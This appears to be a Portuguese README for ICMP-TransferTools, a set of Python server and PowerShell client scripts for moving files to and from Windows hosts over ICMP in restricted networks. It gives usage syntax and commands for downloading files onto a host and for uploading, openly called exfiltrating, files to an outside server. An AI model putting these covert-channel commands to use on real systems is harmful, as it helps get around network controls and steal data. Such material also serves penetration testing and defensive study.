
Transfira arquivos de e para um host Windows via ICMP em ambientes de rede restritos.
ICMP-TransferTools é um conjunto de scripts projetados para mover arquivos de e para hosts Windows em ambientes de rede restritos. Isso é realizado usando um total de 4 arquivos diferentes, consistindo em um servidor python e cliente powershell para cada direção de transferência (Download e Upload).
A única dependência necessária é o Impacket para um dos scripts python. Ele pode ser instalado via pip da seguinte forma:
pip3 install impacket
Os scripts incluídos ICMP-SendFile.py e Invoke-IcmpDownload.ps1 podem ser usados para baixar um arquivo para um host Windows via ICMP.
O servidor python deve ser executado primeiro para preparar o arquivo para download. Veja abaixo o uso do script:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Uma vez importado, o cliente powershell pode ser usado para baixar o arquivo preparado da seguinte forma:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
Veja abaixo uma rápida demonstração:

Os scripts incluídos ICMP-ReceiveFile.py e Invoke-IcmpUpload.ps1 podem ser usados para fazer upload/exfiltrar um arquivo de um host Windows via ICMP.
O servidor python deve ser executado primeiro para garantir que esteja pronto para aceitar requisições do cliente. Veja abaixo o uso do script:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
Uma vez importado, o cliente powershell pode ser usado para fazer upload do arquivo desejado da seguinte forma:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Veja abaixo uma rápida demonstração:
